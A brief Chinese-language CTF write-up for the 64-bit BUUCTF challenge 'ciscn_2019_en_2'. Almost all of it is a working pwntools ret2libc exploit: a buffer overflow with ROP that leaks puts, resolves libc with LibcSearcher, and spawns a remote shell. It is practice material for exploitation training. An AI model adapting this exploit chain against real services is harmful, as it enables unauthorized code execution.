

有一道一模一样的题目，但是一道是32位，这一道是64位（做相同的题目也有不一样的理解）

```
from pwn import *
from LibcSearcher import *
io = remote('node3.buuoj.cn', 26617)
io.recvuntil("choice!\n")
io.sendline('1')

io.recvuntil("encrypted\n")
elf = ELF('ciscn_2019_en_2')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400b28
pop_rdi = 0x400c83
ret = 0x4006b9
payload = 'a'*88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8, '\0'))
print hex(puts_addr)

io.recvuntil("choice!\n")
io.sendline('1')
libc = LibcSearcher('puts', puts_addr)
base = puts_addr - libc.dump('puts')
bin_addr = libc.dump('str_bin_sh')+base
system_addr = libc.dump('system')+base
payload = '\0'+ 'a'*87+p64(ret)+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
io.recvuntil("encrypted\n")
io.sendline(payload)

io.interactive()
```